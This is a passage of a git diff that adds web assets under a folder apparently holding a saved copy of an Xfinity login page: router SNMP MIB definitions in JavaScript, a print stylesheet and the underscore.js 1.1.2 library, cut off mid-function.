mib2interfaceNetworkStorageTable.NSName; +var arNSFileSystem = mib2interfaceNetworkStorageTable.NSFileSystem; +var arNSSpaceAvailable = mib2interfaceNetworkStorageTable.NSSpaceAvailable; +var arNSTotalSpace = mib2interfaceNetworkStorageTable.NSTotalSpace; +var arNSLocation = mib2interfaceNetworkStorageTable.NSLocation; + + +// Range Extenders +var mib2interfaceRangeExtender=new Table("mib2interfaceRangeExtender", "1.3.6.1.4.1.4.2.1.5.4.465"); +mib2interfaceRangeExtender.RangeExtenderName =new Column("RangeExtenderName", "1.3.6.1.4.1.4.2.1.5.4.465.1.1"); +mib2interfaceRangeExtender.RESSID =new Column("RESSID", "1.3.6.1.4.1.4.2.1.5.4.465.1.2"); +mib2interfaceRangeExtender.REBSSID =new Column("REBSSID", "1.3.6.1.4.1.4.2.1.5.4.465.1.3"); +mib2interfaceRangeExtender.REFrequencyBand =new Column("REFrequencyBand", "1.3.6.1.4.1.4.2.1.5.4.465.1.4"); +mib2interfaceRangeExtender.REChannel =new Column("REChannel", "1.3.6.1.4.1.4.2.1.5.4.465.1.5"); +mib2interfaceRangeExtender.RESecurityMode =new Column("RESecurityMode", "1.3.6.1.4.1.4.2.1.5.4.465.1.6"); +var arRangeExtenderName=mib2interfaceRangeExtender.RangeExtenderName ; +var arRESSID =mib2interfaceRangeExtender.RESSID ; +var arREBSSID =mib2interfaceRangeExtender.REBSSID ; +var arREFrequencyBand =mib2interfaceRangeExtender.REFrequencyBand ; +var arREChannel =mib2interfaceRangeExtender.REChannel ; +var arRESecurityMode =mib2interfaceRangeExtender.RESecurityMode ; + + +// Advanced >> remote_management +var mib2interfaceRemoteManagement = new Container("mib2interfaceRemoteManagement", "1.3.6.1.4.1.4.2.1.5.4.466"); +mib2interfaceRemoteManagement.RMEnableHttp= new Scalar("RMEnableHttp", "1.3.6.1.4.1.4.2.1.5.4.466.1", 2); +mib2interfaceRemoteManagement.RMEnableHttps= new Scalar("RMEnableHttps", "1.3.6.1.4.1.4.2.1.5.4.466.2", 2); +mib2interfaceRemoteManagement.RMAddrv4= new Scalar("RMAddrv4", "1.3.6.1.4.1.4.2.1.5.4.466.3", 2); +mib2interfaceRemoteManagement.RMAddrv6= new Scalar("RMAddrv6", "1.3.6.1.4.1.4.2.1.5.4.466.4", 2); +mib2interfaceRemoteManagement.RMAllowedIndex= new Scalar("RMAllowedIndex", "1.3.6.1.4.1.4.2.1.5.4.466.5", 2); +mib2interfaceRemoteManagement.RMAddrv4From= new Scalar("RMAddrv4From", "1.3.6.1.4.1.4.2.1.5.4.466.6", 2); +mib2interfaceRemoteManagement.RMAddrv4End= new Scalar("RMAddrv4End", "1.3.6.1.4.1.4.2.1.5.4.466.7", 2); +mib2interfaceRemoteManagement.RMAddrv6From= new Scalar("RMAddrv6From", "1.3.6.1.4.1.4.2.1.5.4.466.8", 2); +mib2interfaceRemoteManagement.RMAddrv6End= new Scalar("RMAddrv6End", "1.3.6.1.4.1.4.2.1.5.4.466.9", 2); +mib2interfaceRemoteManagement.RMTelnetEnble= new Scalar("RMTelnetEnble", "1.3.6.1.4.1.4.2.1.5.4.466.10", 2); +mib2interfaceRemoteManagement.RMSSHEnable= new Scalar("RMSSHEnable", "1.3.6.1.4.1.4.2.1.5.4.466.11", 2); +var arRMEnableHttp= mib2interfaceRemoteManagement.RMEnableHttp; +var arRMEnableHttps=mib2interfaceRemoteManagement.RMEnableHttps; +var arRMAddrv4= mib2interfaceRemoteManagement.RMAddrv4; +var arRMAddrv6= mib2interfaceRemoteManagement.RMAddrv6; +var arRMAllowedIndex= mib2interfaceRemoteManagement.RMAllowedIndex; +var arRMAddrv4From= mib2interfaceRemoteManagement.RMAddrv4From; +var arRMAddrv4End= mib2interfaceRemoteManagement.RMAddrv4End; +var arRMAddrv6From= mib2interfaceRemoteManagement.RMAddrv6From; +var arRMAddrv6End= mib2interfaceRemoteManagement.RMAddrv6End; +var arRMTelnetEnble=mib2interfaceRemoteManagement.RMTelnetEnble; +var arRMSSHEnable= mib2interfaceRemoteManagement.RMSSHEnable; + +// Advanced >> Radius Servers +var RadiusServerTable =new Table ("RadiusServerTable","1.3.6.1.4.1.4.2.1.5.4.469"); +RadiusServerTable.RSEnable =new Column("RSEnable", "1.3.6.1.4.1.4.2.1.5.4.469.1.1"); +RadiusServerTable.RSIp =new Column("RSIp", "1.3.6.1.4.1.4.2.1.5.4.469.1.2"); +RadiusServerTable.RSAuthPort =new Column("RSAuthPort", "1.3.6.1.4.1.4.2.1.5.4.469.1.3"); +RadiusServerTable.RSAcctPort =new Column("RSAcctPort", "1.3.6.1.4.1.4.2.1.5.4.469.1.4"); +RadiusServerTable.RSLocalIF =new Column("RSLocalIF", "1.3.6.1.4.1.4.2.1.5.4.469.1.5"); +RadiusServerTable.RSTimout =new Column("RSTimout", "1.3.6.1.4.1.4.2.1.5.4.469.1.6"); +RadiusServerTable.RSReAuthTmt =new Column("RSReAuthTmt", "1.3.6.1.4.1.4.2.1.5.4.469.1.7"); +RadiusServerTable.RSSharedSecret=new Column("RSSharedSecret", "1.3.6.1.4.1.4.2.1.5.4.469.1.8"); +var arRSEnable = RadiusServerTable.RSEnable ; +var arRSIp = RadiusServerTable.RSIp ; +var arRSAuthPort = RadiusServerTable.RSAuthPort ; +var arRSAcctPort = RadiusServerTable.RSAcctPort ; +var arRSLocalIF = RadiusServerTable.RSLocalIF ; +var arRSTimout = RadiusServerTable.RSTimout ; +var arRSReAuthTmt = RadiusServerTable.RSReAuthTmt ; +var arRSSharedSecret= RadiusServerTable.RSSharedSecret; + +// samba_server_config.php +var FileShareTable =new Table ("FileShareTable","1.3.6.1.4.1.4.2.1.5.4.472"); +FileShareTable.FSDirectory =new Column("FSDirectory", "1.3.6.1.4.1.4.2.1.5.4.472.1.1"); +FileShareTable.FSName =new Column("FSName", "1.3.6.1.4.1.4.2.1.5.4.472.1.2"); +FileShareTable.FSVisible =new Column("FSVisible", "1.3.6.1.4.1.4.2.1.5.4.472.1.3"); +FileShareTable.FSPermissions =new Column("FSPermissions", "1.3.6.1.4.1.4.2.1.5.4.472.1.4"); +FileShareTable.FSEnableHttp =new Column("FSEnableHttp", "1.3.6.1.4.1.4.2.1.5.4.472.1.5"); +FileShareTable.FSEnableFTP =new Column("FSEnableFTP", "1.3.6.1.4.1.4.2.1.5.4.472.1.6"); +FileShareTable.FSDesc =new Column("FSDesc", "1.3.6.1.4.1.4.2.1.5.4.472.1.7"); +FileShareTable.FSUSB12 =new Column("FSUSB12", "1.3.6.1.4.1.4.2.1.5.4.472.1.8"); +var arFSDirectory =FileShareTable.FSDirectory; +var arFSName =FileShareTable.FSName; +var arFSVisible =FileShareTable.FSVisible; +var arFSPermissions =FileShareTable.FSPermissions; +var arFSEnableHttp =FileShareTable.FSEnableHttp; +var arFSEnableFTP =FileShareTable.FSEnableFTP; +var arFSUSB12 =FileShareTable.FSUSB12; + +// samba_server_config.php +var FileShareManage = new Container("FileShareManage", "1.3.6.1.4.1.4.2.1.5.4.471"); +FileShareManage.FSMShare= new Scalar("FSMShare", "1.3.6.1.4.1.4.2.1.5.4.471.1",2); +FileShareManage.FSMName= new Scalar("FSMName", "1.3.6.1.4.1.4.2.1.5.4.471.2",2); +FileShareManage.FSMReserve= new Scalar("FSMReserve","1.3.6.1.4.1.4.2.1.5.4.471.3",2); +var arFSMShare= FileShareManage.FSMShare; +var arFSMName= FileShareManage.FSMName; +var arFSMReserve= FileShareManage.FSMReserve; + + +//qos1.php +var QOSSettings = new Container("QOSSettings", "1.3.6.1.4.1.4.2.1.5.4.473"); +QOSSettings.QOS4Wmmd= new Scalar("QOS4Wmmd", "1.3.6.1.4.1.4.2.1.5.4.473.1",2); +QOSSettings.QOS4Moca= new Scalar("QOS4Moca", "1.3.6.1.4.1.4.2.1.5.4.473.2",2); +QOSSettings.QOS4Lan= new Scalar("QOS4Lan", "1.3.6.1.4.1.4.2.1.5.4.473.3",2); +QOSSettings.QOS4Upnp= new Scalar("QOS4Upnp", "1.3.6.1.4.1.4.2.1.5.4.473.4",2); +var arQOS4Wmmd= QOSSettings.QOS4Wmmd; +var arQOS4Moca= QOSSettings.QOS4Moca; +var arQOS4Lan= QOSSettings.QOS4Lan; +var arQOS4Upnp= QOSSettings.QOS4Upnp; + +//dlna_settings.php +var DLNASettings = new Container("DLNASettings", "1.3.6.1.4.1.4.2.1.5.4.474"); +DLNASettings.DLNAEnabled= new Scalar("DLNAEnabled","1.3.6.1.4.1.4.2.1.5.4.474.1", 2); +DLNASettings.DLNAMediaType= new Scalar("DLNAMediaType","1.3.6.1.4.1.4.2.1.5.4.474.2", 2); +DLNASettings.DLNAMediaSrc= new Scalar("DLNAMediaSrc","1.3.6.1.4.1.4.2.1.5.4.474.3", 2); +DLNASettings.DLNAMediaPath= new Scalar("DLNAMediaPath","1.3.6.1.4.1.4.2.1.5.4.474.4", 2); +//DLNASettings.= new Scalar("","1.3.6.1.4.1.4.2.1.5.4.474.5", 2); +//DLNASettings.= new Scalar("","1.3.6.1.4.1.4.2.1.5.4.474.6", 2); +var arDLNAEnabled= DLNASettings.DLNAEnabled; +var arDLNAMediaType= DLNASettings.DLNAMediaType; +var arDLNAMediaSrc= DLNASettings.DLNAMediaSrc; +var arDLNAMediaPath= DLNASettings.DLNAMediaPath; + +// digital_media_players.php +var DLMediaPlayer =new Table ("DLMediaPlayer","1.3.6.1.4.1.4.2.1.5.4.475"); +DLMediaPlayer.DLMPName =new Column("FSDirectory", "1.3.6.1.4.1.4.2.1.5.4.475.1.1"); +DLMediaPlayer.DLMPAllw =new Column("DLMediaPlayer","1.3.6.1.4.1.4.2.1.5.4.475.1.2"); +var arDLMPName = DLMediaPlayer.DLMPName; +var arDLMPAllw = DLMediaPlayer.DLMPAllw; + +// digital_media_index.php +var DLMIndexTable =new Table ("DLMIndexTable","1.3.6.1.4.1.4.2.1.5.4.476"); +DLMIndexTable.DLMName =new Column("DLMName", "1.3.6.1.4.1.4.2.1.5.4.476.1.1"); +DLMIndexTable.DLMGenre =new Column("DLMGenre", "1.3.6.1.4.1.4.2.1.5.4.476.1.2"); +DLMIndexTable.DLMArtist =new Column("DLMArtist", "1.3.6.1.4.1.4.2.1.5.4.476.1.3"); +DLMIndexTable.DLMDurat =new Column("DLMDurat", "1.3.6.1.4.1.4.2.1.5.4.476.1.4"); +DLMIndexTable.DLMFold =new Column("DLMFold", "1.3.6.1.4.1.4.2.1.5.4.476.1.5"); +DLMIndexTable.DLMRate =new Column("DLMRate", "1.3.6.1.4.1.4.2.1.5.4.476.1.6"); +DLMIndexTable.DLMAlbum =new Column("DLMAlbum", "1.3.6.1.4.1.4.2.1.5.4.476.1.7"); +DLMIndexTable.DLMCmmnt =new Column("DLMCmmnt", "1.3.6.1.4.1.4.2.1.5.4.476.1.9"); +DLMIndexTable.DLMType =new Column("DLMType", "1.3.6.1.4.1.4.2.1.5.4.476.1.8"); +var arDLMName = DLMIndexTable.DLMName ; // string +var arDLMGenre = DLMIndexTable.DLMGenre ; // 1-8,Fiction, Action, Drama, Comedy, + // Classical, Rock, Fusion, Metal. +var arDLMArtist = DLMIndexTable.DLMArtist ; // string +var arDLMDurat = DLMIndexTable.DLMDurat ; // number +var arDLMFold = DLMIndexTable.DLMFold ; // string +var arDLMRate = DLMIndexTable.DLMRate ; // 1-3: G, PG, R +var arDLMAlbum = DLMIndexTable.DLMAlbum ; // string (music) +var arDLMCmmnt = DLMIndexTable.DLMCmmnt ; // string (picture) +var arDLMType = DLMIndexTable.DLMType ; // png(1), jpeg(2); + // Video (8) + // TV Shows (16) + // Pictures (24) diff --git a/Sites/Login-Xfinity/Xfinity_files/print.css b/Sites/Login-Xfinity/Xfinity_files/print.css new file mode 100644 index 0000000..3c0c422 --- /dev/null +++ b/Sites/Login-Xfinity/Xfinity_files/print.css @@ -0,0 +1,50 @@ +/* $Id: global.css 3119 2009-10-16 20:48:52Z cporto $ */ + +/*---------------------------------------- +Name: global.css +Developed by: Seth Lemoine, Schematic +Date Created: Dec 7, 2009 +Copyright: Comcast +----------------------------------------*/ + +/* Elements +----------------------------------------*/ +body { + font-family: Arial, Helvetica, sans-serif; + +} + +* { + color: #000; + float: none; + font-size: 11pt; + text-decoration:none; + width: auto; +} + +#header, +#footer, +#userToolbar, +#status, +#nav, +a, +button, +input, +.noprint { + display: none; +} + +h1 { + font-size: 24pt; +} + +table { + border-collapse: collapse; +} + +th, +td { + border: 1px solid #ccc; + padding: 4pt; + text-align: left; +} diff --git a/Sites/Login-Xfinity/Xfinity_files/underscore.js b/Sites/Login-Xfinity/Xfinity_files/underscore.js new file mode 100644 index 0000000..8ee2e83 --- /dev/null +++ b/Sites/Login-Xfinity/Xfinity_files/underscore.js @@ -0,0 +1,716 @@ +// (c) 2010 Jeremy Ashkenas, DocumentCloud Inc. +// Underscore is freely distributable under the MIT license. +// Portions of Underscore are inspired or borrowed from Prototype, +// Oliver Steele's Functional, and John Resig's Micro-Templating. +// For all details and documentation: +// http://documentcloud.github.com/underscore + +(function() { + + // Baseline setup + // -------------- + + // Establish the root object, `window` in the browser, or `global` on the server. + var root = this; + + // Save the previous value of the `_` variable. + var previousUnderscore = root._; + + // Establish the object that gets thrown to break out of a loop iteration. + var breaker = typeof StopIteration !== 'undefined' ? StopIteration : '__break__'; + + // Save bytes in the minified (but not gzipped) version: + var ArrayProto = Array.prototype, ObjProto = Object.prototype; + + // Create quick reference variables for speed access to core prototypes. + var slice = ArrayProto.slice, + unshift = ArrayProto.unshift, + toString = ObjProto.toString, + hasOwnProperty = ObjProto.hasOwnProperty, + propertyIsEnumerable = ObjProto.propertyIsEnumerable; + + // All **ECMAScript 5** native function implementations that we hope to use + // are declared here. + var + nativeForEach = ArrayProto.forEach, + nativeMap = ArrayProto.map, + nativeReduce = ArrayProto.reduce, + nativeReduceRight = ArrayProto.reduceRight, + nativeFilter = ArrayProto.filter, + nativeEvery = ArrayProto.every, + nativeSome = ArrayProto.some, + nativeIndexOf = ArrayProto.indexOf, + nativeLastIndexOf = ArrayProto.lastIndexOf, + nativeIsArray = Array.isArray, + nativeKeys = Object.keys; + + // Create a safe reference to the Underscore object for use below. + var _ = function(obj) { return new wrapper(obj); }; + + // Export the Underscore object for **CommonJS**. + if (typeof exports !== 'undefined') exports._ = _; + + // Export Underscore to the global scope. + root._ = _; + + // Current version. + _.VERSION = '1.1.2'; + + // Collection Functions + // -------------------- + + // The cornerstone, an `each` implementation, aka `forEach`. + // Handles objects implementing `forEach`, arrays, and raw objects. + // Delegates to **ECMAScript 5**'s native `forEach` if available. + var each = _.each = _.forEach = function(obj, iterator, context) { + try { + if (nativeForEach && obj.forEach === nativeForEach) { + obj.forEach(iterator, context); + } else if (_.isNumber(obj.length)) { + for (var i = 0, l = obj.length; i < l; i++) iterator.call(context, obj[i], i, obj); + } else { + for (var key in obj) { + if (hasOwnProperty.call(obj, key)) iterator.call(context, obj[key], key, obj); + } + } + } catch(e) { + if (e != breaker) throw e; + } + return obj; + }; + + // Return the results of applying the iterator to each element. + // Delegates to **ECMAScript 5**'s native `map` if available. + _.map = function(obj, iterator, context) { + if (nativeMap && obj.map === nativeMap) return obj.map(iterator, context); + var results = []; + each(obj, function(value, index, list) { + results[results.length] = iterator.call(context, value, index, list); + }); + return results; + }; + + // **Reduce** builds up a single result from a list of values, aka `inject`, + // or `foldl`. Delegates to **ECMAScript 5**'s native `reduce` if available. + _.reduce = _.foldl = _.inject = function(obj, iterator, memo, context) { + if (nativeReduce && obj.reduce === nativeReduce) { + if (context) iterator = _.bind(iterator, context); + return obj.reduce(iterator, memo); + } + each(obj, function(value, index, list) { + memo = iterator.call(context, memo, value, index, list); + }); + return memo; + }; + + // The right-associative version of reduce, also known as `foldr`. + // Delegates to **ECMAScript 5**'s native `reduceRight` if available. + _.reduceRight = _.foldr = function(obj, iterator, memo, context) { + if (nativeReduceRight && obj.reduceRight === nativeReduceRight) { + if (context) iterator = _.bind(iterator, context); + return obj.reduceRight(iterator, memo); + } + var reversed = (_.isArray(obj) ? obj.slice() : _.toArray(obj)).reverse(); + return _.reduce(reversed, iterator, memo, context); + }; + + // Return the first value which passes a truth test. Aliased as `detect`. + _.find = _.detect = function(obj, iterator, context) { + var result; + each(obj, function(value, index, list) { + if (iterator.call(context, value, index, list)) { + result = value; + _.breakLoop(); + } + }); + return result; + }; + + // Return all the elements that pass a truth test. + // Delegates to **ECMAScript 5**'s native `filter` if available. + // Aliased as `select`. + _.filter = _.select = function(obj, iterator, context) { + if (nativeFilter && obj.filter === nativeFilter) return obj.filter(iterator, context); + var results = []; + each(obj, function(value, index, list) { + if (iterator.call(context, value, index, list)) results[results.length] = value; + }); + return results; + }; + + // Return all the elements for which a truth test fails. + _.reject = function(obj, iterator, context) { + var results = []; + each(obj, function(value, index, list) { + if (!iterator.call(context, value, index, list)) results[results.length] = value; + }); + return results; + }; + + // Determine whether all of the elements match a truth test. + // Delegates to **ECMAScript 5**'s native `every` if available. + // Aliased as `all`. + _.every = _.all = function(obj, iterator, context) { + iterator = iterator || _.identity; + if (nativeEvery && obj.every === nativeEvery) return obj.every(iterator, context); + var result = true; + each(obj, function(value, index, list) { + if (!(result = result && iterator.call(context, value, index, list))) _.breakLoop(); + }); + return result; + }; + + // Determine if at least one element in the object matches a truth test. + // Delegates to **ECMAScript 5**'s native `some` if available. + // Aliased as `any`. + _.some = _.any = function(obj, iterator, context) { + iterator = iterator || _.identity; + if (nativeSome && obj.some === nativeSome) return obj.some(iterator, context); + var result = false; + each(obj, function(value, index, list) { + if (result = iterator.call(context, value, index, list)) _.breakLoop(); + }); + return result; + }; + + // Determine if a given value is included in the array or object using `===`. + // Aliased as `contains`. + _.include = _.contains = function(obj, target) { + if (nativeIndexOf && obj.indexOf === nativeIndexOf) return obj.indexOf(target) != -1; + var found = false; + each(obj, function(value) { + if (found = value === target) _.breakLoop(); + }); + return found; + }; + + // Invoke a method (with arguments) on every item in a collection. + _.invoke = function(obj, method) { + var args = slice.call(arguments, 2); + return _.map(obj, function(value) { + return (method ? value[method] : value).apply(value, args); + }); + }; + + // Convenience version of a common use case of `map`: fetching a property. + _.pluck = function(obj, key) { + return _.map(obj, function(value){ return value[key]; }); + }; + + // Return the maximum element or (element-based computation). + _.max = function(obj, iterator, context) { + if (!iterator && _.isArray(obj)) return Math.max.apply(Math, obj); + var result = {computed : -Infinity}; + each(obj, function(value, index, list) { + var computed = iterator ? iterator.call(context, value, index, list) : value; + computed >= result.computed && (result = {value : value, computed : computed}); + }); + return result.value; + }; + + // Return the minimum element (or element-based computation). + _.min = function(obj, iterator, context) { + if (!iterator && _.isArray(obj)) return Math.min.apply(Math, obj); + var result = {computed : Infinity}; + each(obj, function(value, index, list) { + var computed = iterator ? iterator.call(context, value, index, list) : value; + computed < result.computed && (result = {value : value, computed : computed}); + }); + return result.value; + }; + + // Sort the object's values by a criterion produced by an iterator. + _.sortBy = function(obj, iterator, context) { + return _.pluck(_.map(obj, function(value, index, list) { + return { + value : value, + criteria : iterator.call(context, value, index, list) + }; + }).sort(function(left, right) { + var a = left.criteria, b = right.criteria; + return a < b ? -1 : a > b ? 1 : 0; + }), 'value'); + }; + + // Use a comparator function to figure out at what index an object should + // be inserted so as to maintain order. Uses binary search. + _.sortedIndex = function(array, obj, iterator) { + iterator = iterator || _.identity; + var low = 0, high = array.length; + while (low < high) { + var mid = (low + high) >> 1; + iterator(array[mid]) < iterator(obj) ? low = mid + 1 : high = mid; + } + return low; + }; + + // Safely convert anything iterable into a real, live array. + _.toArray = function(iterable) { + if (!iterable) return []; + if (iterable.toArray) return iterable.toArray(); + if (_.isArray(iterable)) return iterable; + if (_.isArguments(iterable)) return slice.call(iterable); + return _.values(iterable); + }; + + // Return the number of elements in an object. + _.size = function(obj) { + return _.toArray(obj).length; + }; + + // Array Functions + // --------------- + + // Get the first element of an array. Passing **n** will return the first N + // values in the array. Aliased as `head`. The **guard** check allows it to work + // with `_.map`. + _.first = _.head = function(array, n, guard) { + return n && !guard ? slice.call(array, 0, n) : array[0]; + }; + + // Returns everything but the first entry of the array. Aliased as `tail`. + // Especially useful on the arguments object. Passing an **index** will return + // the rest of the values in the array from that index onward. The **guard** + // check allows it to work with `_.map`. + _.rest = _.tail = function(array, index, guard) { + return slice.call(array, _.isUndefined(index) || guard ? 1 : index); + }; + + // Get the last element of an array. + _.last = function(array) { + return array[array.length - 1]; + }; + + // Trim out all falsy values from an array. + _.compact = function(array) { + return _.filter(array, function(value){ return !!value; }); + }; + + // Return a completely flattened version of an array. + _.flatten = function(array) { + return _.reduce(array, function(memo, value) { + if (_.isArray(value)) return memo.concat(_.flatten(value)); + memo[memo.length] = value; + return memo; + }, []); + }; + + // Return a version of the array that does not contain the specified value(s). + _.without = function(array) { + var values = slice.call(arguments, 1); + return _.filter(array, function(value){ return !_.include(values, value); }); + }; + + // Produce a duplicate-free version of the array. If the array has already + // been sorted, you have the option of using a faster algorithm. + // Aliased as `unique`. + _.uniq = _.unique = function(array, isSorted) { + return _.reduce(array, function(memo, el, i) { + if (0 == i || (isSorted === true ? _.last(memo) != el : !_.include(memo, el))) memo[memo.length] = el; + return memo; + }, []); + }; + + // Produce an array that contains every item shared between all the + // passed-in arrays. + _.intersect = function(array) { + var rest = slice.call(arguments, 1); + return _.filter(_.uniq(array), function(item) { + return _.every(rest, function(other) { + return _.indexOf(other, item) >= 0; + }); + }); + }; + + // Zip together multiple lists into a single array -- elements that share + // an index go together. + _.zip = function() { + var args = slice.call(arguments); + var length = _.max(_.pluck(args, 'length')); + var results = new Array(length); + for (var i = 0; i < length; i++) results[i] = _.pluck(args, "" + i); + return results; + }; + + // If the browser doesn't supply us with indexOf (I'm looking at you, **MSIE**), + // we need this function. Return the position of the first occurence of an + // item in an array, or -1 if the item is not included in the array. + // Delegates to **ECMAScript 5**'s native `indexOf` if available. + _.indexOf = function(array, item) { + if (nativeIndexOf && array.indexOf === nativeIndexOf) return array.indexOf(item); + for (var i = 0, l = array.length; i < l; i++) if (array[i] === item) return i; + return -1; + }; + + + // Delegates to **ECMAScript 5**'s native `lastIndexOf` if available. + _.lastIndexOf = function(array, item) { + if (nativeLastIndexOf && array.lastIndexOf === nativeLastIndexOf) return array.lastIndexOf(item); + var i = array.length; + while (i--) if (array[i] === item) return i; + return -1; + }; + + // Generate an integer Array containing an arithmetic progression. A port of + // the native Python `range()` function. See + // [the Python documentation](http://docs.python.org/library/functions.html#range). + _.range = function(start, stop, step) { + var args = slice.call(arguments), + solo = args.length <= 1, + start = solo ? 0 : args[0], + stop = solo ? args[0] : args[1], + step = args[2] || 1, + len = Math.max(Math.ceil((stop - start) / step), 0), + idx = 0, + range = new Array(len); + while (idx < len) { + range[idx++] = start; + start += step; + } + return range; + }; + + // Function (ahem) Functions + // ------------------ + + // Create a function bound to a given object (assigning `this`, and arguments, + // optionally). Binding with arguments is also known as `curry`. + _.bind = function(func, obj) { + var args = slice.call(arguments, 2); + return function() { + return func.apply(obj || {}, args.concat(slice.call(arguments))); + }; + }; + + // Bind all of an object's methods to that object. Useful for ensuring that + // all callbacks defined on an object belong to it. + _.bindAll = function(obj) { + var funcs = slice.call(arguments, 1); + if (funcs.length == 0) funcs = _.functions(obj); + each(funcs, function(f) { obj[f] = _.bind(obj[f], obj); }); + return obj; + }; + + // Memoize an expensive function by storing its results. + _.memoize = function(func, hasher) { + var memo = {}; + hasher = hasher || _.identity; + return function() { + var key = hasher.apply(this, arguments); + return key in memo ? memo[key] : (memo[key] = func.apply(this, arguments)); + }; + }; + + // Delays a function for the given number of milliseconds, and then calls + // it with the arguments supplied. + _.delay = function(func, wait) { + var args = slice.call(arguments, 2); + return setTimeout(function(){ return func.apply(func, args); }, wait); + }; + + // Defers a function, scheduling it to run after the current call stack has + // cleared. + _.defer = function(func) { + return _.delay.apply(_, [func, 1].concat(slice.call(arguments, 1))); + }; + + // Returns the first function passed as an argument to the second, + // allowing you to adjust arguments, run code before and after, and + // conditionally execute the original function. + _.wrap = function(func, wrapper) { + return function() { + var args = [func].concat(slice.call(arguments)); + return wrapper.apply(wrapper, args); + }; + }; + + // Returns a function that is the composition of a list of functions, each + // consuming the return value of the function that follows. + _.compose = function() { + var funcs = slice.call(arguments); + return function() { + var args = slice.call(arguments); + for (var i=funcs.length-1; i >= 0; i--) { + args = [funcs[i].apply(this, args)]; + } + return args[0]; + }; + }; + + // Object Functions + // ---------------- + + // Retrieve the names of an object's properties. + // Delegates to **ECMAScript 5**'s native `Object.keys` + _.keys = nativeKeys || function(obj) { + if (_.isArray(obj)) return _.range(0, obj.length); + var keys = []; + for (var key in obj) if (hasOwnProperty.call(obj, key)) keys[keys.length] = key; + return keys; + }; + + // Retrieve the values of an object's properties. + _.values = function(obj) { + return _.map(obj, _.identity); + }; + + // Return a sorted list of the function names available on the object. + // Aliased as `methods` + _.functions = _.methods = function(obj) { + return _.filter(_.keys(obj), function(key){ return _.isFunction(obj[key]); }).sort(); + }; + + // Extend a given object with all the properties in passed-in object(s). + _.extend = function(obj) { + each(slice.call(arguments, 1), function(source) { + for (var prop in source) obj[prop] = source[prop]; + }); + return obj; + }; + + // Create a (shallow-cloned) duplicate of an object. + _.clone = function(obj) { + return _.isArray(obj) ? obj.slice() : _.extend({}, obj); + }; + + // Invokes interceptor with the obj, and then returns obj. + // The primary purpose of this method is to "tap into" a method chain, in + // order to perform operations on intermediate results within the chain. + _.tap = function(obj, interceptor) { + interceptor(obj); + return obj; + }; + + // Perform a deep comparison to check if two objects are equal. + _.isEqual = function(a, b) { + // Check object identity. + if (a === b) return true; + // Different types? + var atype = typeof(a), btype = typeof(b); + if (atype != btype) return false; + // Basic equality test (watch out for coercions). + if (a == b) return true; + // One is falsy and the other truthy. + if ((!a && b) || (a && !b)) return false; + // One of them implements an isEqual()? + if (a.isEqual) return a.isEqual(b); + // Check dates' integer values. + if (_.isDate(a) && _.isDate(b)) return a.getTime() === b.getTime(); + // Both are NaN? + if (_.isNaN(a) && _.isNaN(b)) return false; + // Compare regular expressions. + if (_.isRegExp(a) && _.isRegExp(b)) + return a.source === b.source && + a.global === b.global && + a.ignoreCase === b.ignoreCase && + a.multiline === b.multiline; + // If a is not an object by this point, we can't handle it. + if (atype !== 'object') return false; + // Check for different array lengths before comparing contents. + if (a.length && (a.length !== b.length)) return false; + // Nothing else worked, deep compare the contents. + var aKeys = _.keys(a), bKeys = _.keys(b); + // Different object sizes? + if (aKeys.length != bKeys.length) return false; + // Recursive comparison of contents. + for (var key in a) if (!(key in b) || !_.isEqual(a[key], b[key])) return false; + return true; + }; + + // Is a given array or object empty? + _.isEmpty = function(obj) { + if (_.isArray(obj) || _.isString(obj)) return obj.length === 0; + for (var key in obj) if (hasOwnProperty.call(obj, key)) return false; + return true; + }; + + // Is a given value a DOM element? + _.isElement = function(obj) { + return !!(obj && obj.nodeType == 1); + }; + + // Is a given value an array? + // Delegates to ECMA5's native Array.isArray + _.isArray = nativeIsArray || function(obj) { + return !!(obj && obj.concat && obj.unshift && !obj.callee); + }; + + // Is a given variable an arguments object? + _.isArguments = function(obj) { + return !!(obj && obj.callee); + }; + + // Is a given value a function? + _.isFunction = function(obj) { + return !!(obj && obj.constructor && obj.call && obj.apply); + }; + + // Is a given value a string? + _.isString = function(obj) { + return !!(obj === '' || (obj && obj.charCodeAt && obj.substr)); + }; + + // Is a given value a number? + _.isNumber = function(obj) { + return (obj === +obj) || (toString.call(obj) === '[object Number]'); + }; + + // Is a given value a boolean? + _.isBoolean = function(obj) { + return obj === true || obj === false; + }; + + // Is a given value a date? + _.isDate = function(obj) { + return !!(obj && obj.getTimezoneOffset && obj.setUTCFullYear); + }; + + // Is the given value a regular expression? + _.isRegExp = function(obj) { + return !!(obj && obj.test && obj.exec && (obj.ignoreCase || obj.ignoreCase === false)); + }; + + // Is the given value NaN -- this one is interesting. NaN != NaN, and + // isNaN(undefined) == true, so we make sure it's a number first. + _.isNaN = function(obj) { + return _.isNumber(obj) && isNaN(obj); + }; + + // Is a given value equal to null? + _.isNull = function(obj) { + return obj === null; + }; + + // Is a given variable undefined? + _.isUndefined = function(obj) { + return typeof obj == 'undefined'; + }; + + // Utility Functions + // ----------------- + + // Run Underscore.js in *noConflict* mode, returning the `_` variable to its + // previous owner. Returns a reference to the Underscore object. + _.noConflict = function() { + root._ = previousUnderscore; + return this; + }; + + // Keep the identity function around for default iterators. + _.identity = function(value) { + return value; + }; + + // Run a function **n** times. + _.times = function (n, iterator, context) { + for (var i = 0; i < n; i++) iterator.call(context, i); + }; + + // Break out of the middle of an iteration. + _.breakLoop = function() { + throw breaker; + }; + + // Add your own custom functions to the Underscore object, ensuring that + // they're correctly added to the OOP wrapper as well. + _.mixin = function(obj) { + each(_.functions(obj), function(name){ + addToWrapper(name, _[name] = obj[name]); + }); + }; + + // Generate a unique integer id (unique within the entire client session). + // Useful for temporary DOM ids. + var idCounter = 0; + _.uniqueId = function(prefix) { + var id = idCounter++; + return prefix ? prefix + id : id; + }; + + // By default, Underscore uses ERB-style template delimiters, change the + // following template settings to use alternative delimiters. + _.templateSettings = { + evaluate : /<%([\s\S]+?)%>/g, + interpolate : /<%=([\s\S]+?)%>/g + }; + + // JavaScript micro-templating, similar to John Resig's implementation. + // Underscore templating handles arbitrary delimiters, preserves whitespace, + // and correctly escapes quotes within interpolated code. + _.template = function(str, data) { + var c = _.templateSettings; + var tmpl = 'var __p=[],print=function(){__p.push.apply(__p,arguments);};' + + 'with(obj||{}){__p.push(\'' + + str.replace(/'/g, "\\'") + .replace(c.interpolate, function(match, code) { + return "'," + code.replace(/\\'/g, "'") + ",'"; + }) + .replace(c.evaluate || null, function(match, code) { + return "');" + code.replace(/\\'/g, "'") + 